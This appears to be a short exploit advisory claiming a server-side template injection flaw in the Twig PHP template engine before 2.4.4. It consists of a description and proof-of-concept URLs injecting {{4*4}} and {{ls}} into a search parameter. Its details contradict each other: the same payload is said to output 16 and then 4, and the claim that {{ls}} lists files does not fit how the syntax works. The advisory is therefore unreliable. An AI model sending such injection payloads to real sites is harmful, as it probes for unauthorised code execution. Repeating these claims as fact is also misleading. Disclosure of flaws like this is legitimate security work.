Vulnerability details:
# Exploit Title: Twig <2.4.4 Server side template injection 
# Date: 02/15/2018
# Exploit Author: JameelNabbo
# Author website: www.jameelnabbo.com
# Vendor Homepage: https://twig.symfony.com 
# Software Link: https://twig.symfony.com/doc/2.x/intro.html#installation
# Version: < 2.4.4
# Tested on: MAC OSX

1.Description:
Twig is a modern php template engine  which compile templates down to plain optimized PHP code, Twig <2.4.4 contain SSTI vulnerability which allow attackers to execute commands within the Parameters, by just using {{COMAND TO EXECUTE}} instead of using the expected values “Normal integer or normal string", depends on the vulnerable application, which takes deferent params by GET or POST.

Example: by injecting this in a search param  http://localhost/search?search_key={{4*4}} <http://localhost/search?search_key=%7B%7B4*4%7D%7D>         Output: 16


2. POC:
http://localhost/search?search_key={{4*4}} 
OUTPUT: 4 

http://localhost/search?search_key={{ls}} 
OUTPUT: list of files/directories etc….